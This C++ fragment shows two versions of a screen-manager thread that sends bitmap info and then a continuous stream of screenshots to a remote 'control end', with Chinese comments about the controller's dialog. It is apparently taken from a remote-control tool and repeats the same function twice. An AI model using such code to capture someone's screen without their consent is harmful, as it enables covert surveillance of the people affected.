DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
	CScreenManager *pThis = (CScreenManager *)lparam;

	pThis->sendBITMAPINFO();
	pThis->WaitForDialogOpen();
	pThis->sendFirstScreen();

	while (pThis->m_bIsWorking)
	{
		pThis->sendNextScreen();
	}

	return 0;
}
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
	CScreenManager *pThis = (CScreenManager *)lparam;

	pThis->sendBITMAPINFO();
	// 等控制端对话框打开

	pThis->WaitForDialogOpen();

	pThis->sendFirstScreen();
	try // 控制端强制关闭时会出错
    {
		while (pThis->m_bIsWorking)
			pThis->sendNextScreen();
	}catch(...){};

	return 0;
}